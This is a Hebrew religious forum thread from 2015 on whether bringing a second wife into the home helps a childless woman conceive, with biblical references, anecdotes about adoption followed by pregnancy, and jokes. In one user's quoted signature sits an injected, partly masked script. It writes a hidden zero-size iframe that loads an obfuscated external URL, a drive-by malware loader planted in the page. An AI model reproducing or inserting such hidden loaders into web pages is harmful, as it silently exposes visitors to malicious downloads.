|
|
| נשלח ב-9/11/2015 11:07 |
 |
| |
שתי חברות שלא ילדו זמן רב. נפגשו והנה אחת מהן חובקת בן. שאלה בשמחה חברתה . איך הצלחת? השיבה.
-פניתי לרב פלוני וקיבלתי ברכה.
בפגשיתם השניה לאחר זמן, אמרה החברה- אצלי זה לא הצליח. גם אני הלכתי אליו . וכלום.
אמרה הראשונה.- בטח הלכת אליו עם בעלך.
|
|
|
|
| נשלח ב-9/11/2015 12:31 |
|
| |
| מיימוני כתב: |  | עומד בפרץ
הבה נדייק: השאלה "האם הכנסת צרה הביתה מועילה לפריון" זו שאלה רפואית. מדעית. ועונים עליה בכלים מדעיים.
לי כמובן אין כלים כאלו כי איני רופא. ניתן לבקש ממואדיב שישאל את ד"ר מואדיבה.
עם זאת, כמדומני שאני יודע מספיק כדי לקבוע שלא אמורה להיות השפעה כזו אלא במישור הפסיכולוגי. יתכן שאשה חשה מאויימת, באופן טבעי, בידי הצרה החדשה, ולכן מנגנוני הפריון שלה יפעלו טוב יותר.
אני מרשה לעצמי לנחש שלרופאים אין כלים או נתונים לענות על אפשרות כזו. מחקרים בשאלה זו אני משער שלא היו. מנגנון פיזיולוגי שמקשר בין הפסיכולוגיה של האשה לבין יכולת הפריון שלה עד כמה שידוע לי לא זוהה, אך ראו בהמשך.
אפשרות הסבר אחרת היא שהאשה המכניסה צרה לביתה גורמת לעצמה צער ומעמידה את עצמה בנסיונות. נסיון כעס, נסיון קנאה. אולי היא גם עושה חסד, כיון שהיא מעניקה לבעלה אפשרות להוליד ילד אם גם לא ממנה. עמידה בנסיונות אמורה להעניק נקודות זכות (כמו קארמה חיובית) ולכן היא מסייעת להיפקד.
הפרשנות הזו אינה חביבה עלי, ואיני סבור שכך ה' ברא את העולם שיתנהל. (להזכיר נשכחות: הרעיון שאדם יחפש נסיונות וישפר את הקארמה שלו מופיע כבסיס לסרט היפה אך מבחינה זו המזיק "אושפיזין").
מסתבר יותר שהגישה הזו של הכנסת צרה היתה רווחת בתרבות שבה חיו אברהם ושרה. וקצת ביטוי לאופן שבו האשה הרשמית מכניסה פילגש לבעלה או משייכת לעצמה את הולד שיהיה לה ניתן למצוא, אם איני טועה, בחוקי חמורבי, וכבר הוזכר הדבר במחקרי מקרא והיסטוריה. אבל לצערי מעבר לזכרון כללי כזה אין בידי כרגע.
עד כאן מה שמוכר לי מתחום המדע.
אבל אני מעשה יודע. מעשה ויותר מאחד על נשים שהתייאשו מללדת, מסיבות רפואיות, ולכן אימצו ילד. ואז... זמן מה מאוחר יותר, הם נפקדו!
דוגמא לדבר מופיעה בספר היפה "עריסת הבמבוק". כידוע, גיבורי הספר וכותביו, פרופסור אמריקני ואשתו, החליטו לאמץ תינוקת סינית ואחר כך לגייר אותה - הם מצאו אותה ברכבת. לא היו להם ילדים ולפי הנרמז בסיפור, הם לא הצליחו להיפקד ואולי לא יכלו להיפקד במשך שנים. זמן מה לאחר האימוץ והגיור האורתודוכסי, ושינוי אורחות החיים בבית, הם נפקדו והיו להם כמה וכמה ילדים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
בדקתי חזור ושנה במאגרי מחקרים רפואיים. לצערי לא מצאתי מחקר כפול-סמיות שבוחן את השפעות הכנסת צרה הביתה על פוריות האשה החוקית.
יתכן שמישהו רצה לעשות ניסוי כזה, אבל אשתו דאגה שלא יקבל אישור של וועדת הלסינקי לביצוע המחקר.
 |
|
|
|
|
| נשלח ב-9/11/2015 13:17 |
|
| |
אתה לא אמור לעשות מחקר כפול סמיות על משהו עם השפעה פסיכולוגית, וכמובן שאתה לא יכול לעשות מחקר כפול סמיות על משהו ידוע בלי שום קשר להלסינקי. מספיק לעשות מחקר פרוספקטיבי עם הקצאה מקרית.
|
|
|
|
| נשלח ב-10/11/2015 09:39 |
|
| |
נס גלוי
|
|
|
|
| נשלח ב-10/11/2015 18:00 |
|
| |
| אליקים7241 כתב: | | מקס
כתבת
"2, אפשר לגרום לאחרים להוליד ככה זה כאילו העקר או העקרה הולידה."
זאת אומרת שיש משמעות לחברה? |
|
??? לא הבנתי את השאלה ואת הקשר.
האם יש משמעות לחברה ? בוודאי שיש, הנה החברה גזלה מאתנו את הטבע, הנה החברה הדמיונית כופה שוללת ממך את חירותך.
האם חברה יכול להיות אמצעי טוב לפרט ? בוודאי שכן !! אבל בתנאים שהתורה קובעת !! ובראש ובראשונה לא להפוך את החברה לישות בפני עצמה שזה הע"ז של תורה.
מה כל זה קשור למה שאמרתי לגבי עקרים ועקרות ?
|
|
|
|
|
| נשלח ב-11/11/2015 17:38 |
|
| |
מקס
מה פירוש: "כאילו העקר או העקרה הולידה"? במשפט כזה אתה למעשה טוען שאדם שאין לו צאצאים בכלל - אינו "נכרת", אלא יש לו "זכות" שמגדירה את "ישותו" ככוללת את הילד של מישהו אחר. (וזה אגב גם מתאים לפסוק "כי כה אמר ה' לסריסים אשר ישמרו את שבתותי וגו' ונתתי להם בביתי ובחומותיי יד ושם טוב מבנים ומבנות וגו'")
|
|
|
|
|
